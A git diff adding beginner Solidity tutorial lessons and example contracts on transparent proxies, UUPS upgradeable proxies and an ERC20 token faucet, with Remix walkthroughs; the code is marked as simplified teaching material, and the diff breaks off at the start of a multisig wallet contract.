modified by calling loginc contract's function + string public words; + + // to change state variable in proxy contract, selector 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// new logic contract +contract Logic2 { + // state variable should be the same as proxy contract, in case of slot clash + address public implementation; + address public admin; + // string variable, can be modified by calling loginc contract's function + string public words; + + // to change state variable in proxy contract, selector 0xc2985578 + function foo() public{ + words = "new"; + } +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step18/img/48-1.png b/SolidityBasics_Part3_Applications/step18/img/48-1.png new file mode 100644 index 000000000..ecb534c67 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-1.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-2.png b/SolidityBasics_Part3_Applications/step18/img/48-2.png new file mode 100644 index 000000000..527cf755e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-2.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-3.png b/SolidityBasics_Part3_Applications/step18/img/48-3.png new file mode 100644 index 000000000..1b21f9d31 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-3.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-4.png b/SolidityBasics_Part3_Applications/step18/img/48-4.png new file mode 100644 index 000000000..de4c05e35 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-4.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-5.png b/SolidityBasics_Part3_Applications/step18/img/48-5.png new file mode 100644 index 000000000..1cf34c0ae Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-5.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-6.png b/SolidityBasics_Part3_Applications/step18/img/48-6.png new file mode 100644 index 000000000..7b9035437 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-6.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-7.png b/SolidityBasics_Part3_Applications/step18/img/48-7.png new file mode 100644 index 000000000..80249f537 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-7.png differ diff --git a/SolidityBasics_Part3_Applications/step18/img/48-8.png b/SolidityBasics_Part3_Applications/step18/img/48-8.png new file mode 100644 index 000000000..eaa7efd15 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step18/img/48-8.png differ diff --git a/SolidityBasics_Part3_Applications/step18/step1.md b/SolidityBasics_Part3_Applications/step18/step1.md new file mode 100644 index 000000000..a69564889 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step18/step1.md @@ -0,0 +1,157 @@ +--- +title: 48. Transparent Proxy +tags: + - solidity + - proxy + - OpenZeppelin + +--- + +# WTF Solidity Crash Course: 48. Transparent Proxy + +I've been relearning Solidity lately to solidify some details and create a "WTF Solidity Crash Course" for beginners (advanced programmers might want to look for other tutorials). I'll be updating with 1-3 lessons per week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk) | [WeChat group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lesson, we will introduce the selector clash issue in proxy contracts, and the solution to this problem: transparent proxies. The teaching code is simplified from `OpenZeppelin's` [TransparentUpgradeableProxy](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol) and SHOULD NOT BE APPLIED IN PRODUCTION. + +## Selector Clash + +In smart contracts, a function selector is the hash of a function signature's first 4 bytes. For example, the selector of function `mint(address account)` is `bytes4(keccak256("mint(address)"))`, which is `0x6a627842`. For more about function selectors see [WTF Solidity Tutorial #29: Function Selectors](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/29_Selector_en/readme.md). + +Because a function selector has only 4 bytes, its range is very small. Therefore, two different functions may have the same selector, such as the following two functions: + +```solidity +// selector clash example +contract Foo { + function burn(uint256) external {} + function collate_propagate_storage(bytes16) external {} +} +``` + +In the example, both the `burn()` and `collate_propagate_storage()` functions have the same selector `0x42966c68`. This situation is called "selector clash". In this case, the EVM cannot differentiate which function the user is calling based on the function selector, so the contract cannot be compiled. + +Since the proxy contract and the logic contract are two separate contracts, they can be compiled normally even if there is a "selector clash" between them, which may lead to serious security accidents. For example, if the selector of the `a` function in the logic contract is the same as the upgrade function in the proxy contract, the admin will upgrade the proxy contract to a black hole contract when calling the `a` function, which is disastrous. + +Currently, there are two upgradeable contract standards that solve this problem: Transparent Proxy and Universal Upgradeable Proxy Standard (UUPS). + +## Transparent Proxy + +The logic of the transparent proxy is very simple: admin may mistakenly call the upgradable functions of the proxy contract when calling the functions of the logic contract because of the "selector clash". Restricting the admin's privileges can solve the conflict: + +- The admin becomes a tool person and can only upgrade the contract by calling the upgradable function of the proxy contract, without calling the fallback function to call the logic contract. +- Other users cannot call the upgradable function but can call functions of the logic contract. + +### Proxy Contract + +The proxy contract here is very similar to the one in [Lecture 47](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/47_Upgrade_en/readme.md), except that the `fallback()` function restricts the call by the admin address. + +It contains three variables: + +- `implementation`: The address of the logic contract. +- `admin`: The admin address. +- `words`: A string that can be changed by calling functions in the logic contract. + +It contains `3` functions: + +- Constructor: Initializes the admin and logic contract addresses. +- `fallback()`: A callback function that delegates the call to the logic contract and cannot be called by the `admin`. +- `upgrade()`: An upgrade function that changes the logic contract address and can only be called by the `admin`. + +```solidity +// FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION +contract TransparentProxy { + // logic contract's address + address implementation; + // admin address + address admin; + // string variable, can be modified by calling loginc contract's function + string public words; + + // constructor, initializing the admin address and logic contract's address + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates function call to logic contract + // can not be called by admin, to avoid causing unexpected behavior due to selector clash + fallback() external payable { + require(msg.sender != admin); + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // upgrade function, change logic contract's address, can only be called by admin + function upgrade(address newImplementation) external { + if (msg.sender != admin) revert(); + implementation = newImplementation; + } +} +``` + +### Logic Contract + +The new and old logic contracts here are the same as in [Lecture 47](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/47_Upgrade_en/readme.md). The logic contracts contain `3` state variables, consistent with the proxy contract to prevent slot conflicts. It also contains a function `foo()`, where the old logic contract will change the value of `words` to `"old"`, and the new one will change it to `"new"`. + +```solidity +// old logic contract +contract Logic1 { + // state variable should be the same as a proxy contract, in case of slot clash + address public implementation; + address public admin; + // string variable, can be modified by calling the logic contract's function + string public words; + + //To change state variable in proxy contract, selector 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// new logic contract +contract Logic2 { + // state variable should be the same as a proxy contract, in case of slot clash + address public implementation; + address public admin; + // string variable, can be modified by calling the logic contract's function + string public words; + + //To change state variable in proxy contract, selector 0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## Implementation with `Remix` + +1. Deploy new and old logic contracts `Logic1` and `Logic2`. +![48-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-2.png) +![48-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-3.png) + +2. Deploy a transparent proxy contract `TransparentProxy`, and set the `implementation` address to the address of the old logic contract. +![48-4.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-4.png) + +3. Using the selector `0xc2985578`, call the `foo()` function of the old logic contract `Logic1` in the proxy contract. The call will fail because the admin is not allowed to call the logic contract. +![48-5.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-5.png) + +4. Switch to a new wallet, use the selector `0xc2985578` to call the `foo()` function of the old logic contract `Logic1` in the proxy contract, and change the value of `words` to `"old"`. The call will be successful. +![48-6.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-6.png) + +5. Switch back to the admin wallet and call `upgrade()`, setting the `implementation` address to the new logic contract `Logic2`. +![48-7.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-7.png) + +6. Switch to the new wallet, use the selector `0xc2985578` to call the `foo()` function of the new logic contract `Logic2` in the proxy contract, and change the value of `words` to `"new"`. +![48-8.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/48_TransparentProxy_en/step1/img/48-8.png) + +## Summary + +In this lesson, we introduced the "selector clash" in proxy contracts and how to avoid this problem using a transparent proxy. The logic of transparent proxy is simple, solving the "selector clash" problem by restricting the admin's access to the logic contract. However, it has a drawback; every time a user calls a function, there is an additional check for whether or not the caller is the admin, which consumes more gas. Nevertheless, transparent proxies are still the solution chosen by most project teams. + +In the next lesson, we will introduce the general Universal Upgradeable Proxy Standard (UUPS), which is more complex but consumes less gas. diff --git a/SolidityBasics_Part3_Applications/step19/UUPS.sol b/SolidityBasics_Part3_Applications/step19/UUPS.sol new file mode 100644 index 000000000..668ec0df3 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step19/UUPS.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// UUPS proxy looks like a regular proxy +// upgrade function is inside logic contract, the admin is able to upgrade the logic contract's address by calling upgrade function, thus change the logic of the contract +// FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION +contract UUPSProxy { + // Address of the logic contract + address public implementation; + // Address of admin + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // Constructor function, initialize admin and logic contract addresses + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // Fallback function delegates the call to the logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } +} + +// UUPS logic contract(upgrade function inside logic contract) +contract UUPS1{ + // consistent with the proxy contract and prevent slot conflicts + address public implementation; + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // change state variable in proxy, selector: 0xc2985578 + function foo() public{ + words = "old"; + } + + // upgrade function, change logic contract's address, only admin is permitted to call. selector: 0x0900f010 + // in UUPS, logic contract HAS TO include a upgrade function, otherwise it cannot be upgraded any more. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +contract UUPS2{ + // consistent with the proxy contract and prevent slot conflicts + address public implementation; + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // change state variable in proxy, selector: 0xc2985578 + function foo() public{ + words = "new"; + } + + // upgrade function, change logic contract's address, only admin is permitted to call. selector: 0x0900f010 + // in UUPS, logic contract HAS TO include a upgrade function, otherwise it cannot be upgraded any more.。 + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} diff --git a/SolidityBasics_Part3_Applications/step19/img/49-1.png b/SolidityBasics_Part3_Applications/step19/img/49-1.png new file mode 100644 index 000000000..07f783a2b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-1.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-2.png b/SolidityBasics_Part3_Applications/step19/img/49-2.png new file mode 100644 index 000000000..5d4416fa7 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-2.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-3.png b/SolidityBasics_Part3_Applications/step19/img/49-3.png new file mode 100644 index 000000000..f6739dc7e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-3.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-4.png b/SolidityBasics_Part3_Applications/step19/img/49-4.png new file mode 100644 index 000000000..35eeb3bac Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-4.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-5.png b/SolidityBasics_Part3_Applications/step19/img/49-5.png new file mode 100644 index 000000000..3616aec90 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-5.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-6.png b/SolidityBasics_Part3_Applications/step19/img/49-6.png new file mode 100644 index 000000000..70882d13b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-6.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-7.png b/SolidityBasics_Part3_Applications/step19/img/49-7.png new file mode 100644 index 000000000..5a0883208 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-7.png differ diff --git a/SolidityBasics_Part3_Applications/step19/img/49-8.png b/SolidityBasics_Part3_Applications/step19/img/49-8.png new file mode 100644 index 000000000..e585f61be Binary files /dev/null and b/SolidityBasics_Part3_Applications/step19/img/49-8.png differ diff --git a/SolidityBasics_Part3_Applications/step19/step1.md b/SolidityBasics_Part3_Applications/step19/step1.md new file mode 100644 index 000000000..2c0e19420 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step19/step1.md @@ -0,0 +1,149 @@ +--- +title: 49. UUPS +tags: + - solidity + - proxy + - OpenZeppelin + +--- + +# WTF Solidity Crash Course: 49. UUPS + +I am currently relearning Solidity to solidify some of the details and create a "WTF Solidity Crash Course" for beginners (advanced programmers may want to find another tutorial). I will update 1-3 lessons weekly. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on Github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lesson, we will introduce another solution to the selector clash problem in proxy contracts: the Universal Upgradeable Proxy Standard (UUPS). The teaching code is simplified from `UUPSUpgradeable` provided by `OpenZeppelin` and should NOT BE USED IN PRODUCTION. + +## UUPS + +In the previous lesson, we learned about "selector clash", which refers to the presence of two functions with the same selector in a contract, which can cause serious consequences. As an alternative to transparent proxies, UUPS can also solve this problem. + +UUPS (Universal Upgradeable Proxy Standard) puts the upgrade function in the logic contract. This way, if there is a "selector clash" between the upgrade function and other functions, an error will occur during compilation. + +The following table summarizes the differences between regular upgradeable contracts, transparent proxies, and UUPS: + +![Different types of upgradable contracts](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-1.png) + +## UUPS contract + +First, let's review [WTF Solidity Minimalist Tutorial Lesson 23: Delegatecall](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/23_Delegatecall_en/readme.md). If user A `delegatecall`s contract C (logic contract) through contract B (proxy contract), the context is still the context of contract B, and `msg.sender` is still user A rather than contract B. Therefore, the UUPS contract can place the upgrade function in the logical contract and check whether the caller is an admin. + +![delegatecall](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-2.png) + +### UUPS proxy contract + +The UUPS proxy contract looks like an un-upgradable proxy contract and is very simple because the upgrade function is placed in the logic contract. It contains three variables: + +- `implementation`: address of the logic contract. +- `admin`: address of the admin. +- `words`: a string that can be changed by functions in the logic contract. + +It contains `2` functions: +- Constructor: initializes the admin and logic contract address. +- `fallback()`: a callback function that delegates the call to the logic contract. + +```solidity +contract UUPSProxy { + // Address of the logic contract + address public implementation; + // Address of admin + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // Constructor function, initialize admin and logic contract addresses + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // Fallback function delegates the call to the logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } +} +``` + +### UUPS Logic Contract + +The UUPS logic contract is different from the one in [Lesson 47](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/47_Upgrade_en/readme.md) in that it includes an upgrade function. The UUPS logic contract contains `3` state variables to be consistent with the proxy contract and prevent slot conflicts. It includes `2` functions: +- `upgrade()`: an upgrade function that changes the logic contract address `implementation`, which can only be called by the `admin`. +- `foo()`: The old UUPS logic contract will change the value of `words` to `"old"`, and the new one will change it to `"new"`. + +```solidity +// UUPS logic contract(upgrade function inside logic contract) +contract UUPS1{ + // consistent with the proxy contract and prevent slot conflicts + address public implementation; + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // change state variable in proxy, selector: 0xc2985578 + function foo() public{ + words = "old"; + } + + // upgrade function, change logic contract's address, only admin is permitted to call. selector: 0x0900f010 + // in UUPS, logic contract HAS TO include a upgrade function, otherwise it cannot be upgraded any more. + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// new UUPS logic contract +contract UUPS2{ + // consistent with the proxy contract and prevent slot conflicts + address public implementation; + address public admin; + // A string, which can be changed by the function of the logic contract + string public words; + + // change state variable in proxy, selector: 0xc2985578 + function foo() public{ + words = "new"; + } + + // upgrade function, change logic contract's address, only admin is permitted to call. selector: 0x0900f010 + // in UUPS, logic contract HAS TO include a upgrade function, otherwise it cannot be upgraded any more.。 + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +## Implementation with `Remix` + +1. Deploy the upgradeable implementation contracts `UUPS1` and `UUPS2`. + +![demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-3.png) + +2. Deploy the upgradeable proxy contract `UUPSProxy` and point the `implementation` address to the old logic contract `UUPS1`. + +![demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-4.png) + +3. Use the selector `0xc2985578` to call the `foo()` function in the proxy contract, which will delegate the call to the old logic contract `UUPS1` and change the value of `words` to `"old"`. + +![demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-5.png) + +4. Use an online ABI encoder, like [HashEx](https://abi.hashex.org/), to get the binary encoding and call the upgrade function `upgrade()`, which will change the `implementation` address to the new logic contract `UUPS2`. + +![encoding](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-6.png) + +![demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-7.png) + +5. Using the selector `0xc2985578`, call the `foo()` function of the new logic contract `UUPS2` in the proxy contract, and change the value of `words` to `"new"`. + +![demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/49_UUPS_en/step1/img/49-8.png) + +Summary: +In this lesson, we introduced another solution to the "selector clash" in proxy contracts: UUPS. Unlike transparent proxies, UUPS places upgrade functions in the logic contract, making "selector clash" unable to pass compilation. Compared to transparent proxies, UUPS is more gas-efficient but also more complex. diff --git a/SolidityBasics_Part3_Applications/step2/Faucet.sol b/SolidityBasics_Part3_Applications/step2/Faucet.sol new file mode 100644 index 000000000..12b4be3a3 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step2/Faucet.sol @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; + +import "./IERC20.sol"; //import IERC20 + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // total supply of the token + + string public name; // the name of the token + string public symbol; // the symbol of the token + + uint8 public decimals = 18; // decimal places of the token + + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implements the `transfer` function, which handles token transfers logic. + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implements `approve` function, which handles token authorization logic. + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implements `transferFrom` function,which handles token authorized transfer logic. + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Creates tokens, transfers `amouont` of tokens from `0` address to caller's address. + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destroys tokens,transfers `amouont` of tokens from caller's address to `0` address. + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} + +// The faucet contract of the ERC20 token +contract Faucet { + + uint256 public amountAllowed = 100; // the allowed amount for each request is 100 + address public tokenContract; // contract address of the token + mapping(address => bool) public requestedAddress; // a map contains requested address + + // Event SendToken + event SendToken(address indexed Receiver, uint256 indexed Amount); + + // Set the ERC20'S contract address during deployment + constructor(address _tokenContract) { + tokenContract = _tokenContract; // set token contract + } + + // Function for users to request tokens + function requestTokens() external { + require(requestedAddress[msg.sender] == false, "Can't Request Multiple Times!"); // Only one request per address + IERC20 token = IERC20(tokenContract); // Create an IERC20 contract object + require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Empty!"); // Faucet is empty + + token.transfer(msg.sender, amountAllowed); // Send token + requestedAddress[msg.sender] = true; // Record the requested address + + emit SendToken(msg.sender, amountAllowed); // Emit SendToken event + } +} diff --git a/SolidityBasics_Part3_Applications/step2/IERC20.sol b/SolidityBasics_Part3_Applications/step2/IERC20.sol new file mode 100644 index 000000000..76efbf286 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step2/IERC20.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev ERC20 interface contract. + */ +interface IERC20 { + /** + * @dev Triggered when `value` tokens are transferred from `from` to `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Triggered whenever `value` tokens are approved by `owner` to be spent by `spender`. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Returns the total amount of tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transfers `amount` tokens from the caller's account to the recipient `to`. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits a {Transfer} event. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Returns the amount authorized by the `owner` account to the `spender` account, default is 0. + * + * When {approve} or {transferFrom} is invoked,`allowance` will be changed. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Allows `spender` to spend `amount` tokens from caller's account. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfer `amount` of tokens from `from` account to `to` account, subject to the caller's allowance. + * The caller must have allowance for `from` account balance. + * + * Returns `true` if the operation is successful. + * + * Emits a {Transfer} event. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step2/img/32-1.png b/SolidityBasics_Part3_Applications/step2/img/32-1.png new file mode 100644 index 000000000..c3616321d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-1.png differ diff --git a/SolidityBasics_Part3_Applications/step2/img/32-2.png b/SolidityBasics_Part3_Applications/step2/img/32-2.png new file mode 100644 index 000000000..47994f810 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-2.png differ diff --git a/SolidityBasics_Part3_Applications/step2/img/32-3.png b/SolidityBasics_Part3_Applications/step2/img/32-3.png new file mode 100644 index 000000000..7d9cd2f60 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-3.png differ diff --git a/SolidityBasics_Part3_Applications/step2/img/32-4.png b/SolidityBasics_Part3_Applications/step2/img/32-4.png new file mode 100644 index 000000000..7211bf469 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-4.png differ diff --git a/SolidityBasics_Part3_Applications/step2/img/32-5.png b/SolidityBasics_Part3_Applications/step2/img/32-5.png new file mode 100644 index 000000000..f4a51ba4c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-5.png differ diff --git a/SolidityBasics_Part3_Applications/step2/img/32-6.png b/SolidityBasics_Part3_Applications/step2/img/32-6.png new file mode 100644 index 000000000..38c7d8cbe Binary files /dev/null and b/SolidityBasics_Part3_Applications/step2/img/32-6.png differ diff --git a/SolidityBasics_Part3_Applications/step2/step1.md b/SolidityBasics_Part3_Applications/step2/step1.md new file mode 100644 index 000000000..d38245d97 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step2/step1.md @@ -0,0 +1,104 @@ +--- +title: 32. Token Faucet +tags: + - solidity + - application + - wtfacademy + - ERC20 + - faucet +--- + +# WTF Solidity Crash Course: 32. Token Faucet + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In lesson 31, we learned about the `ERC20` token standard. In this lesson, we will learn about the smart contract for an `ERC20` faucet. In this contract, users can receive free `ERC20` tokens. + +## Token Faucet + +When a person is thirsty, they go to a faucet to get water. When a person wants free tokens, they go to a token faucet to receive them. A token faucet is a website or application that allows users to receive tokens for free. + +The earliest token faucet was the Bitcoin (BTC) faucet. In 2010, the price of BTC was less than \$0.1, and there were few holders of the currency. To increase its popularity, Gavin Andresen, a member of the Bitcoin community, created the BTC faucet, allowing others to receive BTC for free. Many people took advantage of the opportunity, and some of them became BTC enthusiasts. The BTC faucet gave away over 19,700 BTC, which is now worth approximately \$600 million! + +## ERC20 Faucet Contract + +Here, we will implement a simplified version of an `ERC20` faucet. The logic is very simple: we will transfer some `ERC20` tokens to the faucet contract, and users can use the `requestToken()` function of the contract to receive `100` units of the token. Each address can only receive tokens once. + +### State Variables + +We define `3` state variables in the faucet contract: + +- `amountAllowed` sets the number of tokens that can be claimed per request (default value is `100`, not 100 tokens as tokens may have decimal places). +- `tokenContract` stores the address of the `ERC20` token contract. +- `requestedAddress` keeps track of the addresses that have already claimed tokens. + +```solidity +uint256 public amountAllowed = 100; // the allowed amount for each request is 100 +address public tokenContract; // contract address of the token +mapping(address => bool) public requestedAddress; // a map contains requested address +``` + +### Event + +The faucet contract defines a `SendToken` event that records the address and amount of tokens claimed each time the `requestTokens()` function is called. + +```solidity +// Event SendToken +event SendToken(address indexed Receiver, uint256 indexed Amount); +``` + +### Functions + +There are only `2` functions in the contract: + +- Constructor: Initializes the `tokenContract` state variable and determines the address of the issued `ERC20` tokens. + +```solidity +// Set the ERC20'S contract address during deployment +constructor(address _tokenContract) { + tokenContract = _tokenContract; // set token contract +} +``` + +The `requestTokens()` function allows users to claim `ERC20` tokens. + +```solidity +// Function for users to request tokens +function requestTokens() external { + require(requestedAddress[msg.sender] == false, "Can't Request Multiple Times!"); // Only one request per address + IERC20 token = IERC20(tokenContract); // Create an IERC20 contract object + require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Empty!"); // Faucet is empty + + token.transfer(msg.sender, amountAllowed); // Send token + requestedAddress[msg.sender] = true; // Record the requested address + + emit SendToken(msg.sender, amountAllowed); // Emit SendToken event +} +``` + +## Remix Demonstration + +1. First, deploy the `ERC20` token contract with the name and symbol `WTF`, and `mint` yourself 10000 tokens. + ![Deploy `ERC20`](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/32_Faucet_en/step1/img/32-1.png) + +2. Deploy the `Faucet` contract, and fill in the initialized parameters with the address of the `ERC20` token contract above. + ![Deploy `Faucet` faucet contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/32_Faucet_en/step1/img/32-2.png) + +3. Use the `transfer()` function of the `ERC20` token contract to transfer 10000 tokens to the `Faucet` contract address. + ![Transfer](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/32_Faucet_en/step1/img/32-3.png) + +4. Switch to a new account and call the `requestTokens()` function of the `Faucet` contract to receive tokens. You can see that the `SendToken` event is released in the terminal. + ![requestToken](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/32_Faucet_en/step1/img/32-4.png) + +5. Use the `balanceOf` function on the `ERC20` token contract to query the balance of the account that received tokens from the faucet. The balance should now be `100`, indicating a successful request! + ![Withdrawal success](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/32_Faucet_en/step1/img/32-5.png) + +## Conclusion + +In this lecture, we introduced the history of token faucets and the `ERC20` faucet contract. Where do you think the next BTC faucet will be? diff --git a/SolidityBasics_Part3_Applications/step20/MultisigWallet.sol b/SolidityBasics_Part3_Applications/step20/MultisigWallet.sol new file mode 100644 index 000000000..2098ada2f --- /dev/null +++ b/SolidityBasics_Part3_Applications/step20/MultisigWallet.sol @@ -0,0 +1,168 @@ +// SPDX-License-Identifier: MIT +// author: @0xAA_Science from wtf.academy +pragma solidity ^0.8.21; + +/// 基于签名的多签钱包,由gnosis safe合约简化而来,教学使用。 +contract MultisigWallet { + event ExecutionSuccess(bytes32 txHash); // succeeded transaction event + event ExecutionFailure(bytes32 txHash); // failed transaction event + + address[] public owners; // multisig owners array + mapping(address => bool) public isOwner; // check if an address is a multisig 